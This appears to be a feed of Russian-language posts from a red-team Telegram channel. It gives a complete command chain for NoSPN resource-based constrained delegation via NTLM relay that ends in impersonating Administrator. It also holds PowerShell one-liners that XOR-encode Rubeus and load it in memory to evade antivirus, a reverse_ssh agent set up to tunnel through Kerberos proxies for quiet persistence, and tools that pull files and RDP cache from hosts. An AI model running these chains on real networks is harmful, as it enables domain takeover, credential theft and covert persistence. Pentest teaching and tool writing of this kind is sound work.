#rbcd #relay #ntlmrelayx #upn #nospn #lpe
При наличии возможности вызвать relay на ldap от имени машинной УЗ (например, при включенном WebDav), машинную УЗ можно скомпрометировать.
Основная причина заключается в том что, машинная уз может сама себе устаналивать параметр msDS-AllowedToActOnBehalfOfOtherIdentity - фактически указывать SPN/UPN произвольной УЗ. Дальнейшее использование этой УЗ позволит скомпоометировать машину (классический RBCD).
Интересно то, что для эксплуатации можно использовать как вспомогательную машинную УЗ или, при maq=0, УЗ пользователя.
Снизу представлен "POC" для эксплуатации NoSPN RBCD через Relay
При наличии возможности вызвать relay на ldap от имени машинной УЗ (например, при включенном WebDav), машинную УЗ можно скомпрометировать.
Основная причина заключается в том что, машинная уз может сама себе устаналивать параметр msDS-AllowedToActOnBehalfOfOtherIdentity - фактически указывать SPN/UPN произвольной УЗ. Дальнейшее использование этой УЗ позволит скомпоометировать машину (классический RBCD).
Интересно то, что для эксплуатации можно использовать как вспомогательную машинную УЗ или, при maq=0, УЗ пользователя.
Снизу представлен "POC" для эксплуатации NoSPN RBCD через Relay
#Check RBCD (Empty)
rbcd.py -delegate-to 'target$' -dc-ip 'DC_IP' -action 'read' 'domain'/'controlledaccountwithoutSPN':'SomePassword'
# To set RBCD
ntlmrelayx.py -t ldap://'DC_IP' --delegate-access --escalate-user 'controlledaccountwithoutSPN'
#Check RBCD (With SID of controlledaccountwithoutSPN)
rbcd.py -delegate-to 'target$' -dc-ip 'DC_IP' -action 'read' 'domain'/'controlledaccountwithoutSPN':'SomePassword'
# Obtain a TGT through overpass-the-hash to use RC4
getTGT.py -hashes :$(pypykatz crypto nt 'SomePassword') 'domain'/'controlledaccountwithoutSPN'
# Obtain the TGT session key
describeTicket.py 'TGT.ccache' | grep 'Ticket Session Key'
# Change the controlledaccountwithoutSPN's NT hash with the TGT session key
changepasswd.py -newhashes :TGTSessionKey 'domain'/'controlledaccountwithoutSPN':'SomePassword'@'DomainController'
# Obtain the delegated service ticket through S4U2self+U2U, followed by S4U2proxy (the steps could be conducted individually with the -self and -additional-ticket flags)
KRB5CCNAME='TGT.ccache' getST.py -u2u -impersonate "Administrator" -spn "host/target.domain.com" -k -no-pass 'domain'/'controlledaccountwithoutSPN'
# The password can then be reset to its old value (or another one if the domain policy forbids it, which is usually the case)
smbpasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash 'domain'/'controlledaccountwithoutSPN'@'DomainController'
👍1🔥1
Forwarded from shit notes
🔥1
This media is not supported in the widget
VIEW IN TELEGRAM
Pentester`s Notes
This media is not supported in the widget
VIEW IN TELEGRAM
Чтобы было под рукой.
#xor #encode #bypass
$key = [byte][char]'A'; [byte[]]$data = Get-Content "C:\users\lab\desktop\redteam\Rubeus.exe" -Encoding Byte; $xored = $data | ForEach-Object { $_ -bxor $key }; [Convert]::ToBase64String($xored) | Set-Content "encoded.txt"
$key = [byte][char]'A'; $b64 = Get-Content "encoded.txt"; $bytes = [Convert]::FromBase64String($b64); $decoded = $bytes | ForEach-Object { $_ -bxor $key }; [System.Reflection.Assembly]::Load([byte[]]$decoded)#xor #encode #bypass
🔥1😍1
Многие спрашивают "как вкатиться в ИБ?", "сложно ли это?", "Какая у тебя зарплата?" и т.д.
В данной статье развеивается ряд мифов и даются ответы на ряд вопросов.
https://habr.com/ru/companies/netologyru/articles/956702/
В данной статье развеивается ряд мифов и даются ответы на ряд вопросов.
https://habr.com/ru/companies/netologyru/articles/956702/
Хабр
Вся правда о карьере в ИБ: разбираем мифы про хакеров и высокие зарплаты
Кибербезопасность сегодня выглядит как одна из самых заметных сфер в IT: о ней много говорят, специалистов не хватает, а зарплаты обсуждают даже в общих чатах...
Кто до сих пор думает, что айтишники много получают... вот типичный представитель redteam-команды.
Всем привет!
Когда-то мы с ребятами из RTB обсуждали возможность релея на HTTPS и наличие EPA. Мы остановились на том, что пока нет утилит для получения информации о наличии данного механизма и его статусе.
Так вот, ребята из specterops поресерчили и выкатили статью и утилиту для исследования HTTPS и MSSQL.
https://specterops.io/blog/2025/11/25/less-praying-more-relaying-enumerating-epa-enforcement-for-mssql-and-https/
Тулза
https://github.com/zyn3rgy/RelayInformer
Когда-то мы с ребятами из RTB обсуждали возможность релея на HTTPS и наличие EPA. Мы остановились на том, что пока нет утилит для получения информации о наличии данного механизма и его статусе.
Так вот, ребята из specterops поресерчили и выкатили статью и утилиту для исследования HTTPS и MSSQL.
https://specterops.io/blog/2025/11/25/less-praying-more-relaying-enumerating-epa-enforcement-for-mssql-and-https/
Тулза
https://github.com/zyn3rgy/RelayInformer
1👍4🔥4
👋 Всем привет!
Сталкивались с ситуацией, когда в организации грамотно настроен выход в интернет?
Сценарий такой:
🔒 По умолчанию доступ в интернет с хостов запрещен.
🌐 Есть корпоративный прокси-сервер с обязательной аутентификацией.
🤔 Да ещё и только по протоколу Kerberos (Negotiate), и не каждому пользователю разрешён выход.
Итак, что делать, если вы получили доступ к хосту от имени доменного пользователя, которому разрешён выход в интернет? Мне сразу же хочется пробросить сессию наружу, запроксироваться и закрепиться тихо и надолго. 😄
💡 Поиск решения
Я перебрал много известных инструментов, но не нашёл ничего подходящего. Большинство решений поддерживают только NTLM или Basic аутентификацию, либо вообще не умеют работать с прокси.
Пришла идея написать небольшой прокси-сервер-прослойку, который бы принимал соединения без аутентификации и сам проходил её на корпоративном прокси. Но встал вопрос: откуда брать учетные данные?
🛠 Первые шаги
Нашёлся старый, но рабочий репозиторий — win-auth-proxy (ссылка). Автор реализовал извлечение дескриптора учётных данных из текущей сессии пользователя с помощью winapi функции AcquireCredentialsHandle, а затем использовал InitializeSecurityContext для аутентификации на проксе.
Скомпилировал его, почти ничего не меняя, и — о чудо, всё завелось! ✨ Но тащить два бинаря на хост показалось не очень элегантным решением.
🚀 Идеальный инструмент
Тут я вспомнил про замечательный инструмент reverse_ssh (ссылка). Он тихий и поддерживает всё, что нужно:
- Интерактивную сессию
- Проксирование
- Проброс портов
- Передачу файлов
В общем, всё, что может обычный SSH. Я форкнул репозиторий и добавил необходимые доработки для аутентификации на прокси с использованием текущих учётных данных пользователя Windows.
Отдельно стоит упомянуть гибкость транспортов. Инструмент умеет работать не только по чистому TCP, но и заворачивать трафик в HTTP, HTTPS, TLS, WS (WebSocket) и WSS. Это критически важно для обхода DPI и маскировки под легитимный веб-трафик в жестко контролируемых сетях.
Позже один молодой эксперт (nollium) доработал инструмент, добавив аутентификацию через NTLM с указанием кредов. Что удобно для запуска, например с linux систем.
💪 Финальный штрих
Я столкнулся с проблемой, когда прокси-сервер находится в одном домене AD, а пользователь — в другом. Происходила ошибка из-за неверного выбора realm. Эту проблему я тоже исправил.
Чтобы использовать фичу, достаточно добавить флаг
Теперь у нас есть мощный инструмент, который поможет пробить стену!
PS. Все изменения уже доступны в оригинальном репозитории. Пользуйтесь на здоровье!
#pentest #redteam #proxy #kerberos #ssh #infosec #bypass #auth #negotiate
Сталкивались с ситуацией, когда в организации грамотно настроен выход в интернет?
Сценарий такой:
🔒 По умолчанию доступ в интернет с хостов запрещен.
🌐 Есть корпоративный прокси-сервер с обязательной аутентификацией.
🤔 Да ещё и только по протоколу Kerberos (Negotiate), и не каждому пользователю разрешён выход.
Итак, что делать, если вы получили доступ к хосту от имени доменного пользователя, которому разрешён выход в интернет? Мне сразу же хочется пробросить сессию наружу, запроксироваться и закрепиться тихо и надолго. 😄
💡 Поиск решения
Я перебрал много известных инструментов, но не нашёл ничего подходящего. Большинство решений поддерживают только NTLM или Basic аутентификацию, либо вообще не умеют работать с прокси.
Пришла идея написать небольшой прокси-сервер-прослойку, который бы принимал соединения без аутентификации и сам проходил её на корпоративном прокси. Но встал вопрос: откуда брать учетные данные?
🛠 Первые шаги
Нашёлся старый, но рабочий репозиторий — win-auth-proxy (ссылка). Автор реализовал извлечение дескриптора учётных данных из текущей сессии пользователя с помощью winapi функции AcquireCredentialsHandle, а затем использовал InitializeSecurityContext для аутентификации на проксе.
Скомпилировал его, почти ничего не меняя, и — о чудо, всё завелось! ✨ Но тащить два бинаря на хост показалось не очень элегантным решением.
🚀 Идеальный инструмент
Тут я вспомнил про замечательный инструмент reverse_ssh (ссылка). Он тихий и поддерживает всё, что нужно:
- Интерактивную сессию
- Проксирование
- Проброс портов
- Передачу файлов
В общем, всё, что может обычный SSH. Я форкнул репозиторий и добавил необходимые доработки для аутентификации на прокси с использованием текущих учётных данных пользователя Windows.
Отдельно стоит упомянуть гибкость транспортов. Инструмент умеет работать не только по чистому TCP, но и заворачивать трафик в HTTP, HTTPS, TLS, WS (WebSocket) и WSS. Это критически важно для обхода DPI и маскировки под легитимный веб-трафик в жестко контролируемых сетях.
Позже один молодой эксперт (nollium) доработал инструмент, добавив аутентификацию через NTLM с указанием кредов. Что удобно для запуска, например с linux систем.
💪 Финальный штрих
Я столкнулся с проблемой, когда прокси-сервер находится в одном домене AD, а пользователь — в другом. Происходила ошибка из-за неверного выбора realm. Эту проблему я тоже исправил.
Чтобы использовать фичу, достаточно добавить флаг
--use-kerberos при генерации агента:link --https --name main_agent --use-kerberos --proxy http://proxy.example.com:8080 --goos windows
Теперь у нас есть мощный инструмент, который поможет пробить стену!
PS. Все изменения уже доступны в оригинальном репозитории. Пользуйтесь на здоровье!
#pentest #redteam #proxy #kerberos #ssh #infosec #bypass #auth #negotiate
🔥7❤3👨💻2👍1
Всех сердечно поздравляю с Рождеством Христовым!
Ещё 7 числа поздравлю.
Ещё 7 числа поздравлю.
1❤11
Выкатил PR в NetExec: модуль rdpcache — вытаскиваем и разбираем RDP Bitmap Cache с удалённых Windows по SMB.
Если коротко: RDP-кэш — это 64×64 тайлы (фрагменты экрана), которые клиент складывает «для оптимизации». Иногда эта оптимизация оптимизирует ещё и расследование: в тайлах остаются куски UI, имена файлов/окон, элементы интерфейса и фрагменты вывода команд.
Что делает модуль:
- Enum RDP-настроек из реестра: client/server конфиг, NLA, порт.
- Достаёт историю RDP-коннектов (MRU) из всех пользовательских профилей.
- Скачивает Cache*.bin и bcache*.bmc, парсит, режет в 64×64 и собирает коллажи для быстрого просмотра (опционально).
Как использовать:
Опции (если хочется аккуратно автоматизировать под себя):
- OUTPUT=...
- USERS=all|user1,user2
- COLLAGE=False (если не хочется «обоев»)
- COLLAGE_WIDTH=24
- SMART=True (сортировка тайлов по яркости — визуально быстрее выцеплять полезное)
pillow нужен только если генерировать картинки/коллажи.
PR: https://github.com/Pennyw0rth/NetExec/pull/1075
#redteam #pentest #netexec #rdp #dfir
Если коротко: RDP-кэш — это 64×64 тайлы (фрагменты экрана), которые клиент складывает «для оптимизации». Иногда эта оптимизация оптимизирует ещё и расследование: в тайлах остаются куски UI, имена файлов/окон, элементы интерфейса и фрагменты вывода команд.
Что делает модуль:
- Enum RDP-настроек из реестра: client/server конфиг, NLA, порт.
- Достаёт историю RDP-коннектов (MRU) из всех пользовательских профилей.
- Скачивает Cache*.bin и bcache*.bmc, парсит, режет в 64×64 и собирает коллажи для быстрого просмотра (опционально).
Как использовать:
# enum (default)
nxc smb <target> -u <user> -p <pass> -M rdpcache
# dump + извлечение и коллаж
nxc smb <target> -u <user> -p <pass> -M rdpcache -o ACTION=dump
Опции (если хочется аккуратно автоматизировать под себя):
- OUTPUT=...
- USERS=all|user1,user2
- COLLAGE=False (если не хочется «обоев»)
- COLLAGE_WIDTH=24
- SMART=True (сортировка тайлов по яркости — визуально быстрее выцеплять полезное)
pillow нужен только если генерировать картинки/коллажи.
PR: https://github.com/Pennyw0rth/NetExec/pull/1075
#redteam #pentest #netexec #rdp #dfir
1❤5🔥4👍3
Всем привет!
На одном redteam‑проекте я в бою раздобыл low‑priv учётку в Zabbix.
Вспомнил давние изыскания Zer0Way про заббикс.
Выяснилось, что на винде агент Zabbix крутится от SYSTEM (в данном конкретно случае), и "посмотреть метрики" внезапно превращается в "а давай-ка аккуратно посмотрим файлики". 📁
Первые попытки делать это через веб‑морду были в духе "суп вилкой": вроде возможно, но удовольствие сомнительное. Поэтому я на коленке, с помощью ИИ, слепил себе нормальный терминальный интерфейс, чтобы не кликать по тысяче экранов ради одного конфига.
И, конечно, кульминация максимально жизненная: на терминальном сервере админов нашёлся пароль в обычном текстовом файле. 🔐
Ну а дальше — по накатанной...
Итак, Zabbix-FM — терминальный файловый менеджер для просмотра и скачивания файлов с удалённых хостов через Zabbix-сервер, используя механизм item.test (тот же, что кнопка Test в web‑UI).
Ограничения ⚙️
- Лимит размера: 64 KB по умолчанию (MaxItemSize), можно увеличить до 16 MB в zabbix_agentd.conf.
- Read‑only: запись файлов не поддерживается.
- Нужны API Token + логин/пароль от фронта (для item.test требуется роль Super Admin).
- Недодебажил моменты с кодировкой, а также кажется не грузит бинарные файлы. Хотя вроде пробовал в base64 указывать кодировку.
Может быть когда-нибудь допилю до чего-то более масштабного ;-)
https://github.com/durck/zabbix_fm
https://github.com/durck/zabbix_fm
https://github.com/durck/zabbix_fm
#zabbix #redteam #pentest #recon #python #windows #sysadmin
На одном redteam‑проекте я в бою раздобыл low‑priv учётку в Zabbix.
Вспомнил давние изыскания Zer0Way про заббикс.
Выяснилось, что на винде агент Zabbix крутится от SYSTEM (в данном конкретно случае), и "посмотреть метрики" внезапно превращается в "а давай-ка аккуратно посмотрим файлики". 📁
Первые попытки делать это через веб‑морду были в духе "суп вилкой": вроде возможно, но удовольствие сомнительное. Поэтому я на коленке, с помощью ИИ, слепил себе нормальный терминальный интерфейс, чтобы не кликать по тысяче экранов ради одного конфига.
И, конечно, кульминация максимально жизненная: на терминальном сервере админов нашёлся пароль в обычном текстовом файле. 🔐
Ну а дальше — по накатанной...
Итак, Zabbix-FM — терминальный файловый менеджер для просмотра и скачивания файлов с удалённых хостов через Zabbix-сервер, используя механизм item.test (тот же, что кнопка Test в web‑UI).
Ограничения ⚙️
- Лимит размера: 64 KB по умолчанию (MaxItemSize), можно увеличить до 16 MB в zabbix_agentd.conf.
- Read‑only: запись файлов не поддерживается.
- Нужны API Token + логин/пароль от фронта (для item.test требуется роль Super Admin).
- Недодебажил моменты с кодировкой, а также кажется не грузит бинарные файлы. Хотя вроде пробовал в base64 указывать кодировку.
Может быть когда-нибудь допилю до чего-то более масштабного ;-)
https://github.com/durck/zabbix_fm
https://github.com/durck/zabbix_fm
https://github.com/durck/zabbix_fm
#zabbix #redteam #pentest #recon #python #windows #sysadmin
🔥5❤4👨💻1🤗1😘1
Всем привет!
Все сталкивались с ситуациями, когда в корпоративной среде используются в качестве ядра DFS (Distributed File System). Стандартный базовый инструмент для прогулки по корпоративным ресурсам (в обычном пентесте, про redteam ничего не говорю) - smbclient.py в impacket. Соответственно, при попытке перейти в DFS-директорию (когда папка физически располагается на другом файловом ресурсе), получали ошибку
Так вот, доработал его для полноценной поддержки DFS
Что умеет:
- ls помечает DFS-ссылки как [DFS]
- dfs_info <dir> показывает referral: targets + TTL
- cd <DFS-папка> (в режиме follow) сам делает переподключение к target и продолжает навигацию
- Nested DFS любой глубины (стек контекстов)
- Multi-target failover: упал target → пробуем следующий
- Health-check + auto-reconnect для кэшированных коннектов
- Корректная навигация через границы DFS-root: cd .., cd ../.., cd ../../other
- Работает и с Kerberos, и с NTLM (учётки переиспользуются)
- Кэширование подключений
OPSEC (важно):
Включение:
Мини-пример:
Реализация на уровне протокола: FSCTL_DFS_GET_REFERRALS (MS-DFSC).
https://github.com/durck/impacket
https://github.com/durck/impacket
https://github.com/durck/impacket
#impacket #smb #dfs #pentest #redteam
Все сталкивались с ситуациями, когда в корпоративной среде используются в качестве ядра DFS (Distributed File System). Стандартный базовый инструмент для прогулки по корпоративным ресурсам (в обычном пентесте, про redteam ничего не говорю) - smbclient.py в impacket. Соответственно, при попытке перейти в DFS-директорию (когда папка физически располагается на другом файловом ресурсе), получали ошибку
STATUS_PATH_NOT_COVERED.Так вот, доработал его для полноценной поддержки DFS
Что умеет:
- ls помечает DFS-ссылки как [DFS]
- dfs_info <dir> показывает referral: targets + TTL
- cd <DFS-папка> (в режиме follow) сам делает переподключение к target и продолжает навигацию
- Nested DFS любой глубины (стек контекстов)
- Multi-target failover: упал target → пробуем следующий
- Health-check + auto-reconnect для кэшированных коннектов
- Корректная навигация через границы DFS-root: cd .., cd ../.., cd ../../other
- Работает и с Kerberos, и с NTLM (учётки переиспользуются)
- Кэширование подключений
OPSEC (важно):
Автоматическое подключение к другому файловому хранилицу по-умолчанию выключено — чтобы не шуметь лишний раз.
Включение:
# CLI:
-dfs-follow # (разрешить автоматический переход по DFS при cd)
# В шелле:
dfs_mode on # (включить follow-режим в интерактивной сессии)
Мини-пример:
# ls
Projects [DFS]
# dfs_info Projects
Target: \\fileserver-01\Projects$ (TTL: 300)
# dfs_mode on
# cd Projects
[*] DFS target: \\fileserver-01\Projects$
Реализация на уровне протокола: FSCTL_DFS_GET_REFERRALS (MS-DFSC).
https://github.com/durck/impacket
https://github.com/durck/impacket
https://github.com/durck/impacket
#impacket #smb #dfs #pentest #redteam
1❤8🔥3🥰1